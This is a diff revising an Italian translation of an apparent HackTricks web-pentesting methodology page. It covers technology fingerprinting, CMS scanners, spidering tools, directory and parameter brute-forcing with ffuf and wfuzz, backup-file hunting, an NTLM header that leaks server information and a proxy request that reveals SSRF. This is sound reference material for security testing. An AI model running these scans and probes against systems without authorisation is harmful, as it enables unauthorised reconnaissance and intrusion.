+- [ ] Inizia **identificando** le **tecnologie** usate dal web server. Cerca **trucchi** da tenere a mente durante il resto del test se riesci a identificare con successo la tech.
+- [ ] Qualsiasi **vulnerabilità nota** della versione della tecnologia?
+- [ ] Stai usando qualche **tech ben nota**? Qualche **trucco utile** per estrarre più informazioni?
+- [ ] Qualche **scanner specializzato** da eseguire (come wpscan)?
+- [ ] Avvia **scanner a scopo generale**. Non sai mai se troveranno qualcosa o qualche informazione interessante.
+- [ ] Inizia con i **controlli iniziali**: **robots**, **sitemap**, **errore 404** e **SSL/TLS scan** (se HTTPS).
+- [ ] Inizia a **spiderare** la pagina web: è il momento di **trovare** tutti i possibili **file, cartelle** e **parametri in uso.** Controlla anche la presenza di **risultati speciali**.
+- [ ] _Nota che ogni volta che viene scoperta una nuova directory durante brute-forcing o spidering, dovrebbe essere spiderata._
+- [ ] **Directory Brute-Forcing**: prova a brute-forzare tutte le cartelle scoperte cercando nuovi **file** e **directory**.
+- [ ] _Nota che ogni volta che viene scoperta una nuova directory durante brute-forcing o spidering, dovrebbe essere Brute-Forced._
+- [ ] **Controllo backup**: verifica se puoi trovare **backup** di **file scoperti** aggiungendo estensioni di backup comuni.
+- [ ] **Brute-Force parametri**: prova a **trovare parametri nascosti**.
+- [ ] Una volta che hai **identificato** tutti i possibili **endpoint** che accettano **input utente**, verifica ogni tipo di **vulnerabilità** relativa a essi.
+- [ ] [Follow this checklist](../../pentesting-web/web-vulnerabilities-methodology.md)
 
-## Versione del server (Vulnerabile?)
+## Versione del Server (Vulnerabile?)
 
-### Identifica
+### Identificare
 
-Verifica se esistono **vulnerabilità note** per la **versione** del server in esecuzione.  
-Le **HTTP headers** e i **cookies** della response possono essere molto utili per **identificare** le **tecnologie** e/o la **versione** in uso. **Nmap scan** può identificare la versione del server, ma potrebbero essere utili anche gli strumenti [**whatweb**](https://github.com/urbanadventurer/WhatWeb)**,** [**webtech** ](https://github.com/ShielderSec/webtech)o [**https://builtwith.com/**](https://builtwith.com)**:**
+Controlla se esistono **vulnerabilità note** per la **versione** del server in esecuzione.\
+Le **HTTP headers e i cookies della response** potrebbero essere molto utili per **identificare** le **tecnologie** e/o la **versione** in uso. **Nmap scan** può identificare la versione del server, ma possono essere utili anche gli strumenti [**whatweb**](https://github.com/urbanadventurer/WhatWeb)**,** [**webtech** ](https://github.com/ShielderSec/webtech) o [**https://builtwith.com/**](https://builtwith.com)**:**
 ```bash
 whatweb -a 1 <URL> #Stealthy
 whatweb -a 3 <URL> #Aggresive
 webtech -u <URL>
 webanalyze -host https://google.com -crawl 2
 ```
-Cerca **le** [**vulnerabilities della versione dell'applicazione web**](../../generic-hacking/search-exploits.md)
+Search **for** [**vulnerabilities of the web application** **version**](../../generic-hacking/search-exploits.md)
 
-### **Controlla se è presente un WAF**
+### **Verifica la presenza di WAF**
 
 - [**https://github.com/EnableSecurity/wafw00f**](https://github.com/EnableSecurity/wafw00f)
 - [**https://github.com/Ekultek/WhatWaf.git**](https://github.com/Ekultek/WhatWaf.git)
 - [**https://nmap.org/nsedoc/scripts/http-waf-detect.html**](https://nmap.org/nsedoc/scripts/http-waf-detect.html)
 
-### Trucchi per tecnologie web
+### Web tech tricks
 
-Alcuni **trucchi** per trovare **vulnerabilities** in diverse **technologies** ben note in uso:
+Alcuni **trucchi** per **finding vulnerabilities** in diverse ben note **technologies** in uso:
 
 - [**AEM - Adobe Experience Cloud**](aem-adobe-experience-cloud.md)
 - [**Apache**](apache.md)
@@ -101,20 +101,19 @@ Alcuni **trucchi** per trovare **vulnerabilities** in diverse **technologies** b
 - [**Wordpress**](wordpress.md)
 - [**Electron Desktop (XSS to RCE)**](electron-desktop-apps/index.html)
 
-_Tieni conto che lo **stesso dominio** può usare **tecnologie diverse** su **porte**, **cartelle** e **sottodomini** diversi._\
-Se l'applicazione web sta usando una **tech/platform** nota elencata prima o **qualsiasi altra**, non dimenticare di **cercare su Internet** nuovi trucchi (e fammi sapere!).
+_Tieni in considerazione che lo **stesso dominio** può utilizzare **diverse tecnologie** su diverse **porte**, **cartelle** e **sottodomini**._\
+Se la web application sta usando una delle **tech/platform elencate prima** o **qualsiasi altra**, non dimenticare di **cercare su Internet** nuovi trucchi (e fammi sapere!).
 
 ### Source Code Review
 
-Se il **source code** dell'applicazione è disponibile su **github**, oltre a eseguire da parte tua un test **White box** dell'applicazione ci sono **alcune informazioni** che potrebbero essere **utili** per l'attuale test **Black-Box**:
-
-- Esiste un **Change-log o Readme o Version** file o qualcosa con **version info accessibile** via web?
-- Come e dove sono salvate le **credentials**? C'è qualche (accessibile?) **file** con credentials (usernames o passwords)?
-- Le **passwords** sono in **plain text**, **encrypted** o quale **hashing algorithm** viene usato?
-- Usa qualche **master key** per cifrare qualcosa? Quale **algorithm** viene usato?
-- Puoi **accedere a uno di questi file** sfruttando qualche vulnerability?
-- C'è qualche **informazione interessante su github** (issues risolti e non)? O nella **commit history** (forse qualche **password** introdotta in un commit vecchio)?
+Se il **source code** dell'applicazione è disponibile su **github**, oltre a eseguire da **te un White box test** dell'applicazione ci sono **alcune informazioni** che potrebbero essere **utili** per l'attuale **Black-Box testing**:
 
+- Esiste un **Change-log o Readme o Version** file o qualcosa con **informazioni di versione** accessibile via web?
+- Come e dove vengono salvate le **credentials**? Esiste qualche (accessibile?) **file** con credentials (usernames o passwords)?
+- Le passwords sono in **plain text**, **encrypted** o quale **hashing algorithm** viene usato?
+- Sta usando una **master key** per cifrare qualcosa? Quale **algoritmo** viene usato?
+- Puoi accedere a uno di questi file sfruttando qualche **vulnerability**?
+- Ci sono informazioni interessanti su **github** (issues risolte e non risolte)? O nella cronologia dei commit (forse qualche password introdotta in un vecchio commit)?
 
 {{#ref}}
 code-review-tools.md
@@ -136,10 +135,10 @@ node puff.js -w ./wordlist-examples/xss.txt -u "http://www.xssgame.com/f/m4KKGHi
 ```
 #### Scanner per CMS
 
-Se è presente un CMS, non dimenticare di **eseguire uno scanner**, potresti trovare qualcosa di succoso:
+Se viene usato un CMS, non dimenticare di **eseguire uno scanner**, potrebbe essere trovato qualcosa di interessante:
 
 [**Clusterd**](https://github.com/hatRiot/clusterd)**:** [**JBoss**](jboss.md)**, ColdFusion, WebLogic,** [**Tomcat**](tomcat/index.html)**, Railo, Axis2, Glassfish**\
-[**CMSScan**](https://github.com/ajinabraham/CMSScan): [**WordPress**](wordpress.md), [**Drupal**](drupal/index.html), **Joomla**, **vBulletin** siti web per problemi di sicurezza. (GUI)\
+[**CMSScan**](https://github.com/ajinabraham/CMSScan): [**WordPress**](wordpress.md), [**Drupal**](drupal/index.html), **Joomla**, **vBulletin** siti web per vulnerabilità di sicurezza. (GUI)\
 [**VulnX**](https://github.com/anouarbensaad/vulnx)**:** [**Joomla**](joomla.md)**,** [**Wordpress**](wordpress.md)**,** [**Drupal**](drupal/index.html)**, PrestaShop, Opencart**\
 **CMSMap**: [**(W)ordpress**](wordpress.md)**,** [**(J)oomla**](joomla.md)**,** [**(D)rupal**](drupal/index.html) **o** [**(M)oodle**](moodle.md)\
 [**droopscan**](https://github.com/droope/droopescan)**:** [**Drupal**](drupal/index.html)**,** [**Joomla**](joomla.md)**,** [**Moodle**](moodle.md)**, Silverstripe,** [**Wordpress**](wordpress.md)
@@ -149,45 +148,45 @@ wpscan --force update -e --url <URL>
 joomscan --ec -u <URL>
 joomlavs.rb #https://github.com/rastating/joomlavs
 ```
-> A questo punto dovresti già avere alcune informazioni sul web server usato dal cliente (se vengono forniti dati) e qualche trucco da tenere a mente durante il test. Se sei fortunato hai persino trovato un CMS e lanciato qualche scanner.
+> A questo punto dovresti già avere alcune informazioni sul web server usato dal client (se sono stati forniti dati) e alcuni trucchi da tenere a mente durante il test. Se sei fortunato potresti aver anche trovato un CMS ed eseguito qualche scanner.
 
-## Scoperta passo-passo della Web Application
+## Step-by-step Web Application Discovery
 
-> Da questo punto inizieremo a interagire con l'applicazione web.
+> From this point we are going to start interacting with the web application.
 
-### Controlli iniziali
+### Initial checks
 
-**Pagine di default con informazioni interessanti:**
+**Default pages with interesting info:**
 
 - /robots.txt
 - /sitemap.xml
 - /crossdomain.xml
 - /clientaccesspolicy.xml
 - /.well-known/
-- Controlla anche i commenti nelle pagine principali e secondarie.
+- Check also comments in the main and secondary pages.
 
-**Forzare errori**
+**Forcing errors**
 
-I web server possono **comportarsi in modo inaspettato** quando vengono inviati dati strani. Questo può aprire **vulnerabilities** o **rivelare informazioni sensibili**.
+I web server possono **comportarsi in modo inaspettato** quando vengono inviati dati strani. Questo può aprire **vulnerabilità** o causare **esposizione di informazioni sensibili**.
 
-- Accedi a **fake pages** come /whatever_fake.php (.aspx,.html,.etc)
-- **Aggiungi "\[]", "]]", and "\[\["** in **cookie values** and **parameter** values per creare errori
-- Genera un errore fornendo in input **`/~randomthing/%s`** alla **fine** dell'**URL**
-- Prova **different HTTP Verbs** come PATCH, DEBUG o errati come FAKE
+- Accedi a **pagine fake** come /whatever_fake.php (.aspx,.html,.etc)
+- **Aggiungi "\[]", "]]", and "\[\["** nei **valori dei cookie** e nei **valori dei parametri** per creare errori
+- Genera un errore fornendo come input **`/~randomthing/%s`** alla **fine** della **URL**
+- Prova **diversi HTTP Verbs** come PATCH, DEBUG o sbagliati come FAKE
 
 #### **Check if you can upload files (**[**PUT verb, WebDav**](put-method-webdav.md)**)**
 
-Se trovi che **WebDav** è **enabled** ma non hai sufficienti permessi per **uploading files** nella cartella root prova a:
+Se scopri che **WebDav** è **abilitato** ma non hai permessi sufficienti per **caricare file** nella cartella root, prova a:
 
 - **Brute Force** credentials
-- **Upload files** via WebDav to the **rest** of **found folders** inside the web page. You may have permissions to upload files in other folders.
+- **Caricare file** via WebDav nelle **altre** **cartelle trovate** all'interno della pagina web. Potresti avere i permessi per caricare file in altre directory.
 
 ### **SSL/TLS vulnerabilites**
 
-- Se l'applicazione **non forza l'uso di HTTPS** in nessuna parte, allora è **vulnerable to MitM**
-- Se l'applicazione sta **inviando dati sensibili (passwords) usando HTTP**. Allora è una high vulnerability.
+- Se l'applicazione **non forza l'uso di HTTPS** in nessuna parte, allora è **vulnerabile a MitM**
+- Se l'applicazione **invia dati sensibili (password) usando HTTP**. Allora è una vulnerabilità critica.
 
-Usa [**testssl.sh**](https://github.com/drwetter/testssl.sh) per controllare le **vulnerabilities** (In Bug Bounty programs probabilmente questo tipo di vulnerabilities non verrà accettato) e usa [**a2sv** ](https://github.com/hahwul/a2sv)to recheck the vulnerabilities:
+Usa [**testssl.sh**](https://github.com/drwetter/testssl.sh) per verificare la presenza di **vulnerabilità** (Nei programmi di Bug Bounty probabilmente questo tipo di vulnerabilità non verrà accettato) e usa [**a2sv** ](https://github.com/hahwul/a2sv) per ricontrollare le vulnerabilità:
 ```bash
 ./testssl.sh [--htmlfile] 10.10.10.10:443
 #Use the --htmlfile to save the output inside an htmlfile also
@@ -203,35 +202,35 @@ Informazioni sulle vulnerabilità SSL/TLS:
 
 ### Spidering
 
-Avvia una sorta di **spider** all'interno del web. Lo scopo dello **spider** è **trovare quanti più percorsi possibile** dell'applicazione testata. Perciò, web crawling e fonti esterne dovrebbero essere usate per trovare il maggior numero possibile di percorsi validi.
+Avvia una sorta di **spider** sul web. L'obiettivo dello spider è **trovare quanti più percorsi possibile** dall'applicazione testata. Perciò, web crawling e fonti esterne dovrebbero essere usate per trovare il maggior numero possibile di percorsi validi.
 
-- [**gospider**](https://github.com/jaeles-project/gospider) (go): HTML spider, LinkFinder in JS files and external sources (Archive.org, CommonCrawl.org, VirusTotal.com, AlienVault.com).
-- [**hakrawler**](https://github.com/hakluke/hakrawler) (go): HML spider, with LinkFider for JS files and Archive.org as external source.
-- [**dirhunt**](https://github.com/Nekmo/dirhunt) (python): HTML spider, also indicates "juicy files".
-- [**evine** ](https://github.com/saeeddhqan/evine)(go): Interactive CLI HTML spider. It also searches in Archive.org
-- [**meg**](https://github.com/tomnomnom/meg) (go): This tool isn't a spider but it can be useful. You can just indicate a file with hosts and a file with paths and meg will fetch each path on each host and save the response.
-- [**urlgrab**](https://github.com/IAmStoxe/urlgrab) (go): HTML spider with JS rendering capabilities. However, it looks like it's unmaintained, the precompiled version is old and the current code doesn't compile
-- [**gau**](https://github.com/lc/gau) (go): HTML spider that uses external providers (wayback, otx, commoncrawl)
-- [**ParamSpider**](https://github.com/devanshbatham/ParamSpider): This script will find URLs with parameter and will list them.
-- [**galer**](https://github.com/dwisiswant0/galer) (go): HTML spider with JS rendering capabilities.
-- [**LinkFinder**](https://github.com/GerbenJavado/LinkFinder) (python): HTML spider, with JS beautify capabilities capable of search new paths in JS files. It could be worth it also take a look to [JSScanner](https://github.com/dark-warlord14/JSScanner), which is a wrapper of LinkFinder.
-- [**goLinkFinder**](https://github.com/0xsha/GoLinkFinder) (go): To extract endpoints in both HTML source and embedded javascript files. Useful for bug hunters, red teamers, infosec ninjas.
-- [**JSParser**](https://github.com/nahamsec/JSParser) (python2.7): A python 2.7 script using Tornado and JSBeautifier to parse relative URLs from JavaScript files. Useful for easily discovering AJAX requests. Looks like unmaintained.
-- [**relative-url-extractor**](https://github.com/jobertabma/relative-url-extractor) (ruby): Given a file (HTML) it will extract URLs from it using nifty regular expression to find and extract the relative URLs from ugly (minify) files.
-- [**JSFScan**](https://github.com/KathanP19/JSFScan.sh) (bash, several tools): Gather interesting information from JS files using several tools.
-- [**subjs**](https://github.com/lc/subjs) (go): Find JS files.
-- [**page-fetch**](https://github.com/detectify/page-fetch) (go): Load a page in a headless browser and print out all the urls loaded to load the page.
-- [**Feroxbuster**](https://github.com/epi052/feroxbuster) (rust): Content discovery tool mixing several options of the previous tools
-- [**Javascript Parsing**](https://github.com/xnl-h4ck3r/burp-extensions): A Burp extension to find path and params in JS files.
-- [**Sourcemapper**](https://github.com/denandz/sourcemapper): A tool that given the .js.map URL will get you the beatified JS code
-- [**xnLinkFinder**](https://github.com/xnl-h4ck3r/xnLinkFinder): This is a tool used to discover endpoints for a given target.
-- [**waymore**](https://github.com/xnl-h4ck3r/waymore)**:** Discover links from the wayback machine (also downloading the responses in the wayback and looking for more links
-- [**HTTPLoot**](https://github.com/redhuntlabs/HTTPLoot) (go): Crawl (even by filling forms) and also find sensitive info using specific regexes.
-- [**SpiderSuite**](https://github.com/3nock/SpiderSuite): Spider Suite is an advance multi-feature GUI web security Crawler/Spider designed for cyber security professionals.
-- [**jsluice**](https://github.com/BishopFox/jsluice) (go): It's a Go package and [command-line tool](https://github.com/BishopFox/jsluice/blob/main/cmd/jsluice) for extracting URLs, paths, secrets, and other interesting data from JavaScript source code.
-- [**ParaForge**](https://github.com/Anof-cyber/ParaForge): ParaForge is a simple **Burp Suite extension** to **extract the paramters and endpoints** from the request to create custom wordlist for fuzzing and enumeration.
-- [**katana**](https://github.com/projectdiscovery/katana) (go): Awesome tool for this.
-- [**Crawley**](https://github.com/s0rg/crawley) (go): Print every link it's able to find.
+- [**gospider**](https://github.com/jaeles-project/gospider) (go): HTML spider, LinkFinder nei file JS e in fonti esterne (Archive.org, CommonCrawl.org, VirusTotal.com, AlienVault.com).
+- [**hakrawler**](https://github.com/hakluke/hakrawler) (go): HTML spider, con LinkFinder per file JS e Archive.org come fonte esterna.
+- [**dirhunt**](https://github.com/Nekmo/dirhunt) (python): HTML spider, indica anche i "juicy files".
+- [**evine** ](https://github.com/saeeddhqan/evine)(go): Interactive CLI HTML spider. Cerca anche in Archive.org.
+- [**meg**](https://github.com/tomnomnom/meg) (go): Questo strumento non è uno spider ma può essere utile. Puoi indicare un file con hosts e un file con path e meg scaricherà ogni path su ogni host e salverà la risposta.
+- [**urlgrab**](https://github.com/IAmStoxe/urlgrab) (go): HTML spider con capacità di rendering JS. Tuttavia, sembra non essere mantenuto, la versione precompilata è vecchia e il codice attuale non compila.
+- [**gau**](https://github.com/lc/gau) (go): HTML spider che usa provider esterni (wayback, otx, commoncrawl).
+- [**ParamSpider**](https://github.com/devanshbatham/ParamSpider): Questo script troverà URL con parametri e li elencherà.
+- [**galer**](https://github.com/dwisiswant0/galer) (go): HTML spider con capacità di rendering JS.
+- [**LinkFinder**](https://github.com/GerbenJavado/LinkFinder) (python): HTML spider, con capacità di JS beautify in grado di cercare nuovi percorsi nei file JS. Potrebbe valere la pena dare un'occhiata anche a [JSScanner](https://github.com/dark-warlord14/JSScanner), che è un wrapper di LinkFinder.
+- [**goLinkFinder**](https://github.com/0xsha/GoLinkFinder) (go): Per estrarre endpoint sia dal sorgente HTML che dai file javascript incorporati. Utile per bug hunters, red teamers, infosec ninjas.
+- [**JSParser**](https://github.com/nahamsec/JSParser) (python2.7): Uno script python 2.7 che usa Tornado e JSBeautifier per parsare URL relative dai file JavaScript. Utile per scoprire facilmente richieste AJAX. Sembra non essere mantenuto.
+- [**relative-url-extractor**](https://github.com/jobertabma/relative-url-extractor) (ruby): Dato un file (HTML) estrarrà URL da esso usando espressioni regolari per trovare ed estrarre URL relative da file minificati.
+- [**JSFScan**](https://github.com/KathanP19/JSFScan.sh) (bash, diversi tools): Raccoglie informazioni interessanti dai file JS usando diversi strumenti.
+- [**subjs**](https://github.com/lc/subjs) (go): Trova file JS.
+- [**page-fetch**](https://github.com/detectify/page-fetch) (go): Carica una pagina in un browser headless e stampa tutti gli url caricati per caricare la pagina.
+- [**Feroxbuster**](https://github.com/epi052/feroxbuster) (rust): Strumento di content discovery che combina varie opzioni dei tool precedenti.
+- [**Javascript Parsing**](https://github.com/xnl-h4ck3r/burp-extensions): Una estensione per Burp per trovare path e param nei file JS.
+- [**Sourcemapper**](https://github.com/denandz/sourcemapper): Uno strumento che, dato l'URL .js.map, restituisce il codice JS beatificato.
+- [**xnLinkFinder**](https://github.com/xnl-h4ck3r/xnLinkFinder): Strumento per scoprire endpoint per un target dato.
+- [**waymore**](https://github.com/xnl-h4ck3r/waymore)**:** Scopri link dalla wayback machine (scaricando anche le risposte nella wayback e cercando altri link).
+- [**HTTPLoot**](https://github.com/redhuntlabs/HTTPLoot) (go): Crawl (anche compilando form) e trova anche info sensibili usando regex specifiche.
+- [**SpiderSuite**](https://github.com/3nock/SpiderSuite): Spider Suite è un advance multi-feature GUI web security Crawler/Spider progettato per professionisti della cyber security.
+- [**jsluice**](https://github.com/BishopFox/jsluice) (go): È un package Go e uno [strumento da riga di comando](https://github.com/BishopFox/jsluice/blob/main/cmd/jsluice) per estrarre URLs, path, secrets e altri dati interessanti dal codice sorgente JavaScript.
+- [**ParaForge**](https://github.com/Anof-cyber/ParaForge): ParaForge è una semplice **Burp Suite extension** per **estrarre i parametri e gli endpoint** dalle richieste per creare wordlist personalizzate per fuzzing e enumerazione.
+- [**katana**](https://github.com/projectdiscovery/katana) (go): Ottimo strumento per questo.
+- [**Crawley**](https://github.com/s0rg/crawley) (go): Stampa ogni link che riesce a trovare.
 
 ### Brute Force directories and files
 
@@ -244,10 +243,10 @@ Tools:
 - [**Feroxbuster**](https://github.com/epi052/feroxbuster) **- Fast, supports recursive search.**
 - [**wfuzz**](https://github.com/xmendez/wfuzz) `wfuzz -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt https://domain.com/api/FUZZ`
 - [**ffuf** ](https://github.com/ffuf/ffuf)- Fast: `ffuf -c -w /usr/share/wordlists/dirb/big.txt -u http://10.10.10.10/FUZZ`
-- [**uro**](https://github.com/s0md3v/uro) (python): This isn't a spider but a tool that given the list of found URLs will to delete "duplicated" URLs.
-- [**Scavenger**](https://github.com/0xDexter0us/Scavenger): Burp Extension to create a list of directories from the burp history of different pages
-- [**TrashCompactor**](https://github.com/michael1026/trashcompactor): Remove URLs with duplicated functionalities (based on js imports)
-- [**Chamaleon**](https://github.com/iustin24/chameleon): It uses wapalyzer to detect used technologies and select the wordlists to use.
+- [**uro**](https://github.com/s0md3v/uro) (python): Questo non è uno spider ma uno strumento che, data la lista di URL trovati, elimina gli URL "duplicati".
+- [**Scavenger**](https://github.com/0xDexter0us/Scavenger): Burp Extension per creare una lista di directory dalla history di Burp di diverse pagine.
+- [**TrashCompactor**](https://github.com/michael1026/trashcompactor): Rimuove URL con funzionalità duplicate (basato su import JS).
+- [**Chamaleon**](https://github.com/iustin24/chameleon): Usa wapalyzer per rilevare le tecnologie usate e selezionare le wordlist da usare.
 
 **Recommended dictionaries:**
 
@@ -268,22 +267,22 @@ Tools:
 - _/usr/share/wordlists/dirb/big.txt_
 - _/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt_
 
-_Notare che ogni volta che viene scoperta una nuova directory durante brute-forcing o spidering, questa dovrebbe essere brute-forced._
+_Note that anytime a new directory is discovered during brute-forcing or spidering, it should be Brute-Forced._
 
 ### What to check on each file found
 
-- [**Broken link checker**](https://github.com/stevenvachon/broken-link-checker): Find broken links inside HTMLs that may be prone to takeovers
-- **File Backups**: Una volta trovati tutti i file, cerca backup di tutti i file eseguibili ("_.php_", "_.aspx_"...). Variazioni comuni per il nome di un backup sono: _file.ext\~, #file.ext#, \~file.ext, file.ext.bak, file.ext.tmp, file.ext.old, file.bak, file.tmp and file.old._ Puoi anche usare lo strumento [**bfac**](https://github.com/mazen160/bfac) **or** [**backup-gen**](https://github.com/Nishantbhagat57/backup-gen)**.**
+- [**Broken link checker**](https://github.com/stevenvachon/broken-link-checker): Trova link rotti negli HTML che potrebbero essere suscettibili di takeover.
+- **File Backups**: Una volta trovati tutti i file, cerca backup di tutti i file eseguibili ("_.php_", "_.aspx_"...). Varianti comuni per il naming di un backup sono: _file.ext\~, #file.ext#, \~file.ext, file.ext.bak, file.ext.tmp, file.ext.old, file.bak, file.tmp and file.old._ Puoi anche usare lo strumento [**bfac**](https://github.com/mazen160/bfac) **or** [**backup-gen**](https://github.com/Nishantbhagat57/backup-gen)**.**
 - **Discover new parameters**: Puoi usare strumenti come [**Arjun**](https://github.com/s0md3v/Arjun)**,** [**parameth**](https://github.com/maK-/parameth)**,** [**x8**](https://github.com/sh1yo/x8) **and** [**Param Miner**](https://github.com/PortSwigger/param-miner) **per scoprire parametri nascosti. Se possibile, prova a cercare** parametri nascosti in ogni file web eseguibile.
 - _Arjun all default wordlists:_ [https://github.com/s0md3v/Arjun/tree/master/arjun/db](https://github.com/s0md3v/Arjun/tree/master/arjun/db)
 - _Param-miner “params” :_ [https://github.com/PortSwigger/param-miner/blob/master/resources/params](https://github.com/PortSwigger/param-miner/blob/master/resources/params)
 - _Assetnote “parameters_top_1m”:_ [https://wordlists.assetnote.io/](https://wordlists.assetnote.io)
 - _nullenc0de “params.txt”:_ [https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773](https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773)
 - **Comments:** Controlla i commenti di tutti i file, potresti trovare **credentials** o **funzionalità nascoste**.
-- If you are playing **CTF**, a "common" trick is to **hide** **information** inside comments at the **right** of the **page** (using **hundreds** of **spaces** so you don't see the data if you open the source code with the browser). Other possibility is to use **several new lines** and **hide information** in a comment at the **bottom** of the web page.
-- **API keys**: If you **find any API key** there is guide that indicates how to use API keys of different platforms: [**keyhacks**](https://github.com/streaak/keyhacks)**,** [**zile**](https://github.com/xyele/zile.git)**,** [**truffleHog**](https://github.com/trufflesecurity/truffleHog)**,** [**SecretFinder**](https://github.com/m4ll0k/SecretFinder)**,** [**RegHex**](<https://github.com/l4yton/RegHex)/>)**,** [**DumpsterDive**](https://github.com/securing/DumpsterDiver)**,** [**EarlyBird**](https://github.com/americanexpress/earlybird)
-- Google API keys: If you find any API key looking like **AIza**SyA-qLheq6xjDiEIRisP_ujUseYLQCHUjik you can use the project [**gmapapiscanner**](https://github.com/ozguralp/gmapsapiscanner) to check which apis the key can access.
-- **S3 Buckets**: While spidering look if any **subdomain** or any **link** is related with some **S3 bucket**. In that case, [**check** the **permissions** of the bucket](buckets/index.html).
+- Se stai giocando un **CTF**, un trucco "comune" è **nascondere** **informazioni** nei commenti alla **destra** della **pagina** (usando **centinaia** di **spazi** così non vedi i dati se apri il sorgente con il browser). Un'altra possibilità è usare **diverse nuove linee** e **nascondere informazioni** in un commento in fondo alla pagina web.
+- **API keys**: Se **trovi una API key** esiste una guida che indica come usare API keys di diverse piattaforme: [**keyhacks**](https://github.com/streaak/keyhacks)**,** [**zile**](https://github.com/xyele/zile.git)**,** [**truffleHog**](https://github.com/trufflesecurity/truffleHog)**,** [**SecretFinder**](https://github.com/m4ll0k/SecretFinder)**,** [**RegHex**](<https://github.com/l4yton/RegHex)/>)**,** [**DumpsterDive**](https://github.com/securing/DumpsterDiver)**,** [**EarlyBird**](https://github.com/americanexpress/earlybird)
+- Google API keys: Se trovi una API key che inizia come **AIza**SyA-qLheq6xjDiEIRisP_ujUseYLQCHUjik puoi usare il progetto [**gmapapiscanner**](https://github.com/ozguralp/gmapsapiscanner) per verificare quali APIs la key può accedere.
+- **S3 Buckets**: Mentre esegui lo spidering verifica se qualche **subdomain** o qualche **link** è collegato a un **S3 bucket**. In tal caso, [**check** the **permissions** of the bucket](buckets/index.html).
 
 ### Special findings
 
@@ -291,18 +290,18 @@ _Notare che ogni volta che viene scoperta una nuova directory durante brute-forc
 
 **Interesting files**
 
-- Look for **links** to other files inside the **CSS** files.
+- Cerca **link** ad altri file all'interno dei file **CSS**.
 - [If you find a _**.git**_ file some information can be extracted](git.md)
-- If you find a _**.env**_ information such as api keys, dbs passwords and other information can be found.
-- If you find **API endpoints** you [should also test them](web-api-pentesting.md). These aren't files, but will probably "look like" them.
-- **JS files**: In the spidering section several tools that can extract path from JS files were mentioned. Also, It would be interesting to **monitor each JS file found**, as in some ocations, a change may indicate that a potential vulnerability was introduced in the code. You could use for example [**JSMon**](https://github.com/robre/jsmon)**.**
-- You should also check discovered JS files with [**RetireJS**](https://github.com/retirejs/retire.js/) or [**JSHole**](https://github.com/callforpapers-source/jshole) to find if it's vulnerable.
+- Se trovi un _**.env**_ informazioni come api keys, password db e altre informazioni possono essere trovate.
+- Se trovi **API endpoints** dovresti anche testarle ([web-api-pentesting.md]). Queste non sono file, ma probabilmente "sembra" che lo siano.
+- **JS files**: Nella sezione spidering sono stati menzionati diversi tool che possono estrarre path dai file JS. Inoltre, sarebbe interessante **monitorare ogni file JS trovato**, poiché in alcune occasioni una modifica può indicare che è stata introdotta una potenziale vulnerabilità nel codice. Puoi usare ad esempio [**JSMon**](https://github.com/robre/jsmon)**.**
+- Dovresti anche verificare i file JS scoperti con [**RetireJS**](https://github.com/retirejs/retire.js/) o [**JSHole**](https://github.com/callforpapers-source/jshole) per vedere se sono vulnerabili.
 - **Javascript Deobfuscator and Unpacker:** [https://lelinhtinh.github.io/de4js/](https://lelinhtinh.github.io/de4js/), [https://www.dcode.fr/javascript-unobfuscator](https://www.dcode.fr/javascript-unobfuscator)
 - **Javascript Beautifier:** [http://jsbeautifier.org/](https://beautifier.io), [http://jsnice.org/](http://jsnice.org)
 - **JsFuck deobfuscation** (javascript with chars:"\[]!+" [https://enkhee-osiris.github.io/Decoder-JSFuck/](https://enkhee-osiris.github.io/Decoder-JSFuck/))
 - [**TrainFuck**](https://github.com/taco-c/trainfuck)**:** `+72.+29.+7..+3.-67.-12.+55.+24.+3.-6.-8.-67.-23.`
-- On several occasions, you will need to **understand the regular expressions** used. This will be useful: [https://regex101.com/](https://regex101.com) or [https://pythonium.net/regex](https://pythonium.net/regex)
-- You could also **monitor the files were forms were detected**, as a change in the parameter or the apearance f a new form may indicate a potential new vulnerable functionality.
+- In molte occasioni, avrai bisogno di **comprendere le regular expressions** usate. Questo sarà utile: [https://regex101.com/](https://regex101.com) o [https://pythonium.net/regex](https://pythonium.net/regex)
+- Potresti anche **monitorare i file dove sono stati rilevati form**, poiché una modifica nei parametri o la comparsa di un nuovo form potrebbe indicare una nuova funzionalità potenzialmente vulnerabile.
 
 **403 Forbidden/Basic Authentication/401 Unauthorized (bypass)**
 
@@ -313,17 +312,17 @@ _Notare che ogni volta che viene scoperta una nuova directory durante brute-forc
 
 **502 Proxy Error**
 
-If any page **responds** with that **code**, it's probably a **bad configured proxy**. **If you send a HTTP request like: `GET https://google.com HTTP/1.1`** (with the host header and other common headers), the **proxy** will try to **access** _**google.com**_ **and you will have found a** SSRF.
+Se una pagina **risponde** con quel **codice**, probabilmente è un **proxy** mal configurato. **Se invii una richiesta HTTP come: `GET https://google.com HTTP/1.1`** (con l'header Host e altri header comuni), il **proxy** tenterà di **accedere** a _**google.com**_ **e avrai trovato una** SSRF.
 
 **NTLM Authentication - Info disclosure**
 
-If the running server asking for authentication is **Windows** or you find a login asking for your **credentials** (and asking for **domain** **name**), you can provoke an **information disclosure**.\
-**Send** the **header**: `“Authorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=”` and due to how the **NTLM authentication works**, the server will respond with internal info (IIS version, Windows version...) inside the header "WWW-Authenticate".\
-You can **automate** this using the **nmap plugin** "_http-ntlm-info.nse_".
+Se il server che richiede l'autenticazione è **Windows** o trovi una login che chiede le tue **credentials** (e chiede il **domain** **name**), puoi provocare una **information disclosure**.\
+**Invia** l'**header**: `“Authorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=”` e, a causa di come funziona l'**NTLM authentication**, il server risponderà con info interne (versione IIS, versione Windows...) nell'header "WWW-Authenticate".\
+Puoi **automatizzare** questo usando il **nmap plugin** "_http-ntlm-info.nse_".
 
 **HTTP Redirect (CTF)**
 
-It is possible to **put content** inside a **Redirection**. This content **won't be shown to the user** (as the browser will execute the redirection) but something could be **hidden** in there.
+È possibile **mettere contenuto** all'interno di una **Redirection**. Questo contenuto **non sarà mostrato all'utente** (poiché il browser eseguirà la redirezione) ma qualcosa potrebbe essere **nascosto** lì.
 
 ### Web Vulnerabilities Checking
 
